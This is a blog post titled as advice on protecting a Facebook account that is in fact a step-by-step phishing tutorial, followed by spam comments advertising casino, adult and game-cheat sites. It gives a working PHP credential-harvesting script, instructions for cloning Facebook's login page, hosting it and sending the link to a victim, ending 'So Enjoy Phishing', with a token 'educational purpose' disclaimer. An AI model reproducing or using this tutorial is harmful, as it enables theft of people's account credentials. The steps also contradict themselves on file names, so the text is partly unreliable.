Home » How to protect your Facebook Account to Hacked
facebook hack Hacks

How to protect your Facebook Account to Hacked


Phishing is most easy and convinient way to hack a facebook account.

Follow below steps to know how to perform a phishing attack.

Files we will be creating:

1. Post.php
2. Index.htm

Step 1: Creating post.php file. First of all we need a PHP script which
will collect all the form data. Copy the following code in a text
editor (notepad) and save it as post.php

header (‘Location:http://www.facebook.com/‘);
$handle = fopen(“usernames.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
fwrite($handle, “rn”);

Step 2 : Creating index.htm page
Goto Facebook.com (without logging in) , Right click anywhere in the
browser and choose view page source. Open the source code in a text
editor (notepad).
Or right click on page and choose save page as and save page….then right click on saved page and choose open with notepad.

Step 3: Now a new window will pop-up where you can see all the HTML
code in Notepad. We need to look for word action. Press CRTL+F and
search for action. you will find link like this


Replace the link after action between the “….” with phishing.php like
action=”post.php” and save this page as index.htm (not index.html.txt).

Step 4: Create account on free hosting website like

Step 5: Now upload “post.php” & “index.htm” to the “facebook”
folder you created inside “yourname.t35.com”. So when you’re done with
the uploading part, the link to your gmail phisher is “www.yourname.t35.com/facebook/index.htm“.

Step 6: Send this link to the victim with any message like change your
facebook password etc. If any body login on your fake page then his/her
username and password stores on you free hosting website account in
log.txt file.
So Enjoy Phishing…..

Note: Free hosting account may be deactivate after running this page for first time.
  above method is used by hacker to hack your fb account be ware of them this is only for educational purpose don’t use it for you sake!
Any queries ???
Feel free to comment below

About the author

Himalaya Saxena

A web developer, Tech Enthusiast, debugger, blogger, and programmer.
I have the thirst to learn and create :)


Click here to post a comment

  • Awesome things here. I amm very happy to peer your post.

    Thankjs a lot and I'm looking forward to contact you. Will you kindly drop me a mail?

    Also viszit my blog post m88

  • These are in fact enormous ideas in regarding blogging.

    You have touched some nice things here. Any way keep up wrinting.

    Also visit my web-site; penis

  • Cool blog! Is your theme custom made or did you download it from somewhere?
    A theme like yours with a few simple tweeks would really
    make my blog stand out. Please let me know where you got
    your design. Kudos

    Feel free to surf to my web page :: penis

  • Thanks , I have recently been searching for info approximately this subject for a long
    time and yours is the greatest I have came upon till now.

    But, what about the bottom line? Are you sure about the

    Here is my page :: mansion88

  • I got this web site from my buddy who shared with me about this website
    and now this time I am browsing this web page and reading very informative articles or reviews here.

    Also visit mmy website: dafabet casino

  • It is the technology of criminal case cheats any zombie online or on missions.
    Medical emergencies could result in straight lines and
    who lease them to develop games for your deposit to get rid off boredom.
    Such demands allow users to smoothly switch between game and set
    the cannon shooting alien. The title's hack-n-slash gameplay sees users
    clearing environments using a subscription based console, we can only criminal case cheats expect it
    to other format. Description: Parallel Kingdom AOE – the regular players.

    Look into my website; criminal case cheat